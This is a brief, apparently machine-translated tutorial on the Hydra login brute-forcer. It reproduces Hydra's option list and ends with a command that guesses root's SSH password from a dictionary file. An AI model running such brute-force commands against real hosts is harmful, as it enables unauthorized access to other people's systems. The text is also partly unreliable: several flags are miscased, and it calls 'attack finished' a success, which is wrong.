Linux logon brute-force cracking tool Hydra

Hydra is a brute-force cracking tool mainly for Linux. If you know that the valid user name is better, if you do not know it, it does not matter. Directly crack the root user in one step.

Let's take a look at the display of hydra-H and explain it slowly.

Syntax: Hydra [[-l login |-l file] [-P pass |-P file] | [-C file] [-e ns]

[-O file] [-T tasks] [-M file [-T tasks] [-W time] [-F] [-s port] [-S] [- VV]

Server Service [opt]

Options:

-R restore a previous aborted/crashed session

Resume interrupted sessions

-S connect via SSL

Connect through SSL

-S port if the service is on a different default port, define it here

If www.linuxidc.com is not the default port, specify the port

-L login or-l file login with login name, or load several logins from File

-L refers to the username to be cracked, and-l refers to the file of the user to be cracked

-P pass or-P file try password pass, or load several passwords from File

Load password dictionary

-E ns additional checks, "N" for null password, "S" Try login as pass

Try to use a blank password or the same password as the user name

-C file colon seperated "login: Pass" format, instead of-L/-P options

Specify a file containing login: Pass, replacing the-L/-P Option

-M file server list for parallel attacks, one entry per line

Specify the target address file, with one line of address

-O file write found login/password pairs to file instead of stdout

Write the password to the file.

-F exit after the first found login/password pair (per host if-m)

Find the password and exit

-T tasks run tasks Number of connects in parallel (default: 16)

Specifies the number of threads. The default value is 16.

-W time defines the Max wait time in seconds for responses (default: 30)

Maximum response wait time: 30 s

-V/-V verbose mode/show login + pass combination for each attempt

Verbose Mode

Server the target server (use either this or the-M option)

Target IP Address

Service the service to crack. supported protocols: telnet FTP POP3 [-NTLM] IMAP [-NTLM] SMB smbnt HTTP [s]-{head | get} http-{GET | post}-form http-proxy Cisco-enable VNC LDAP2 ldap3 MSSQL MySQL Oracle-listener ipvs NNTP SOCKS5 rexec rlogin pcnfs
Snmp rsh cvs svn icq sapr3 SSH2 SMTP-auth [-NTLM] pcAnywhere teamspeak sip vmauthd Firebird NCP

Supported services

Opt some service modules need special input (see Readme !)

Use hydra_proxy_http/hydra_proxy_connect and hydra_proxy_auth env for a proxy.

Hydra is a tool to guess/crack valid login/password pairs-use allowed only

For legal purposes! If used implements cially, Tool Name, version and web address

Must be mentioned in the report. Find the newest version at http://www.thc.org

That's all about it. Perform the following operations.

Hydra-l root-P/home/Linux/passwd. DIC-e NS-F-VV target_ip SSH2

If [Status] attack finished for target_ip (waiting for Childs to finish) is displayed, the attack is successful.